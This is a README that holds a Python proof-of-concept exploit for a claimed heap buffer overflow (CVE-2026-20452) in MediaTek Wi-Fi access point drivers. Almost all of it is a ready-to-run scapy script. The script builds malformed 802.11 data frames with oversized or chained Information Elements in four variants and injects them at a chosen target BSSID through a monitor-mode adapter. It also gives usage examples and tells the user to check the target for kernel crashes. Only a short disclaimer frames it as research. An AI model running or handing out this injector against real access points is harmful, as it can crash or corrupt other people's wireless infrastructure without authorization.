README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-20452 — MediaTek WLAN AP Driver Heap Buffer Overflow PoC
A proof-of-concept exploit for the heap-based buffer overflow in MediaTek's
WLAN Access Point driver. The vulnerability (CWE-122) affects MediaTek Wi-Fi
chipsets MT7615, MT7915, MT7916, MT7981, MT7986, MT7990, MT7992, MT7993,
and MT6890 when operating in AP mode.
The PoC crafts malformed 802.11 data frames with oversized Information
Elements and injects them via a monitor-mode Wi-Fi adapter.
Affected: MediaTek WLAN AP driver (patch ID: WCNCR00480138)
Bulletin: https://corp.mediatek.com/product-security-bulletin/June-2026
DISCLAIMER: This PoC is for authorized security research and educational
purposes only. Transmitting on Wi-Fi frequencies may require legal
authorization. Do not use against systems you do not own or have explicit
permission to test.
"""
import argparse
import socket
import struct
import sys
import time
try:
from scapy.all import (
RadioTap,
Dot11,
Dot11QoS,
Raw,
sendp,
conf,
)
except ImportError:
print("[-] scapy is required: pip install scapy")
sys.exit(1)
def craft_overflow_frame(bssid, attacker_mac, overflow_size=512, variant=0):
"""
Craft an 802.11 QoS Data frame with malformed IEs.
The IEEE 802.11 standard uses TLV-encoded Information Elements (IEs).
Each IE has: 1 byte type | 1 byte length | N bytes value.
The AP driver allocates a heap buffer based on expected IE size and copies
the IE value into it. An oversized IE overflows the heap buffer.
"""
dot11 = Dot11(
type=2,
subtype=8,
addr1=bssid,
addr2=attacker_mac,
addr3=bssid,
FCfield="to-DS",
)
if variant == 0:
# Variant 0: Single oversized Vendor Specific IE (type 221)
ie_type = 221
oui = b"\x00\x50\x43"
ie_value = oui + b"\x42" * (overflow_size - 3)
ie = bytes([ie_type, min(overflow_size, 255)]) + ie_value[:252]
elif variant == 1:
# Variant 1: Chained malformed IEs (multiple small overflows)
ie = b""
for i in range(overflow_size // 32):
ie += bytes([221, 28]) + b"\x00\x50\x43" + b"\x41" * 25
ie += bytes([0, 0]) # SSID IE with zero length
elif variant == 2:
# Variant 2: Oversized HT Capabilities IE (type 45)
ie_type = 45
ie = bytes([ie_type, min(overflow_size, 255)]) + b"\x43" * min(overflow_size - 2, 253)
else:
# Variant 3: Extended Capabilities IE (type 127) with length > 8
ie_type = 127
ie = bytes([ie_type, min(overflow_size, 255)]) + b"\xff" * min(overflow_size - 2, 253)
qos = Raw(load=b"\x00\x00")
payload = Raw(load=ie)
frame = RadioTap() / dot11 / qos / payload
return frame
def validate_mac(mac_str):
try:
parts = mac_str.split(":")
if len(parts) != 6:
return False
for p in parts:
int(p, 16)
return True
except ValueError:
return False
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-20452 MediaTek WLAN AP Heap Overflow PoC",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s --interface wlan0mon --bssid AA:BB:CC:DD:EE:FF --attacker 11:22:33:44:55:66
%(prog)s --interface wlan0mon --bssid AA:BB:CC:DD:EE:FF --attacker 11:22:33:44:55:66 --overflow-size 1024
%(prog)s --interface wlan0mon --bssid AA:BB:CC:DD:EE:FF --attacker 11:22:33:44:55:66 --variant 2 --count 50
""",
)
parser.add_argument("--interface", required=True, help="Monitor-mode Wi-Fi interface (e.g., wlan0mon)")
parser.add_argument("--bssid", required=True, help="Target AP BSSID (MAC address)")
parser.add_argument("--attacker", required=True, help="Attacker's MAC address")
parser.add_argument("--overflow-size", type=int, default=512, help="Overflow payload size (default: 512)")
parser.add_argument("--variant", type=int, default=0, choices=[0, 1, 2, 3], help="IE variant (0=Vendor, 1=Chained, 2=HT Caps, 3=Ext Caps)")
parser.add_argument("--count", type=int, default=10, help="Number of frames to inject (default: 10)")
parser.add_argument("--delay", type=float, default=0.1, help="Delay between frames in seconds (default: 0.1)")
args = parser.parse_args()
if not validate_mac(args.bssid):
print(f"[-] Invalid BSSID: {args.bssid}")
sys.exit(1)
if not validate_mac(args.attacker):
print(f"[-] Invalid attacker MAC: {args.attacker}")
sys.exit(1)
variant_names = {0: "Vendor Specific IE", 1: "Chained IEs", 2: "HT Capabilities IE", 3: "Extended Capabilities IE"}
print(f"[*] CVE-2026-20452 — MediaTek WLAN AP Heap Overflow PoC")
print(f"[*] Target BSSID: {args.bssid}")
print(f"[*] Attacker MAC: {args.attacker}")
print(f"[*] Interface: {args.interface}")
print(f"[*] Overflow size: {args.overflow_size} bytes")
print(f"[*] IE variant: {variant_names[args.variant]}")
print(f"[*] Frames to inject: {args.count}")
print()
conf.verb = 0
for i in range(args.count):
frame = craft_overflow_frame(
bssid=args.bssid,
attacker_mac=args.attacker,
overflow_size=args.overflow_size,
variant=args.variant,
)
try:
sendp(frame, iface=args.interface, verbose=False)
print(f" [+] Frame {i+1}/{args.count} injected ({len(bytes(frame))} bytes)")
except Exception as e:
print(f" [-] Frame {i+1}/{args.count} failed: {e}")
break
if args.delay > 0 and i < args.count - 1:
time.sleep(args.delay)
print()
print(f"[*] Injection complete. Monitor target for kernel oops or crashes.")
print(f"[*] Check target: dmesg | tail -20")
if __name__ == "__main__":
main()